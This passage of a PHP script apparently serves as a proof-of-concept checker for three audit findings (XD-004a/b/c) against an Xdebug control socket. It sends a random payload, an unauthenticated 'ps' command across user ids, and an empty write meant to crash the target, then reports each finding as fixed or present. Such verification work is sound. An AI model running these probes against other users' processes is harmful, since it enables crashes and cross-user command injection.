[a|b|c] */ if ($argc < 2) { fwrite(STDERR, "usage: php $argv[0] [a|b|c]\n"); exit(1); } $pid = (int) $argv[1]; $mode = $argv[2] ?? 'a'; $sock = socket_create(AF_UNIX, SOCK_STREAM, 0); if (!@socket_connect($sock, "\x00xdebug-ctrl.$pid")) { fwrite(STDERR, "connect failed: " . socket_strerror(socket_last_error($sock)) . "\n"); exit(2); } switch ($mode) { case 'a': $payload = ''; for ($i = 0; $i < 256; $i++) { $payload .= chr(mt_rand(0x21, 0x7E)); } echo "sending 256-byte non-NUL non-space payload\n"; socket_write($sock, $payload, 256); $reply = @socket_read($sock, 4096); echo "reply: " . ($reply === false ? "closed (auth gate rejected)" : strlen($reply) . " bytes") . "\n"; break; case 'b': echo "sending 'ps' as " . posix_geteuid() . " (target uid: see victim)\n"; socket_write($sock, "ps", 2); $reply = @socket_read($sock, 4096); if ($reply === false || $reply === "") { echo "reply: closed -- auth gate rejected (XD-004b FIXED)\n"; } else { echo "reply: " . strlen($reply) . " bytes -- accepted (XD-004b PRESENT if attacker uid differs from victim uid)\n"; } break; case 'c': echo "sending 0-byte payload (immediate close)\n"; socket_close($sock); echo "socket closed\n"; sleep(1); $sock2 = socket_create(AF_UNIX, SOCK_STREAM, 0); $alive = @socket_connect($sock2, "\x00xdebug-ctrl.$pid"); echo "victim alive after empty send: " . ($alive ? "YES (XD-004c FIXED)" : "NO (CRASHED -- XD-004c PRESENT)") . "\n"; @socket_close($sock2); break; default: fwrite(STDERR, "unknown mode (a|b|c)\n"); exit(3); }